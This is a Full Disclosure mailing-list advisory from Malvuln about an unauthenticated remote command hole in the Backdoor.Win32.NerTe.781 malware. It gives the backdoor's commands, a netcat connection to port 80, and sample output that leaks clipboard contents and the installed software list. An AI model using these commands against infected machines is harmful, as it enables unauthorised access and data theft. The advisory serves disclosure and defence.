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Date: Sat, 3 Jul 2021 17:25:49 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.NerTe.781 / Unauthenticated Remote Command

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.NerTe.781
Vulnerability: Unauthenticated Remote Command Execution
Description: Third-party attackers who can reach infected systems can
connect to port 80 and run commands made available by the backdoor to
retrieve information etc.
Type: PE32
MD5: 776e8bb41adf8bd95865c0b03637d8d7
Vuln ID: MVID-2021-0265
Dropped files: nsrv78.exe
Disclosure: 07/03/2021

Example commands:

GETCLB (Get Clipboard data)
GETSND (Get sounds)
GETIN2 (Get Installed Software)

nc64.exe x.x.x.x  80

GETCLB*************** Clipboard **************ñTomorrow West 18th and
broadway.ñ*************** End **************╢GETSND

MSGUnknown command╢GETIN2
GETIN2DESKTOP-2C4IQHOñVictimñññññ7:56:40 PMñ1 Hour, 11 Minutes, 42
GETIN4NTFSñC:\Program Files
[]ñD: []╢
GETIN6HxD Hex Editor versionñNerTeñWinPcap 4.1.3ñWinSCP
5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010  x86 Redistributable
- 10.0.30319ñMicrosoft Visual C++ 2008 Redistributable - x86
9.0.30729.4148ñPython LauncherñJava Auto UpdaterñMicrosoft Visual C++ 2017

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
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the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

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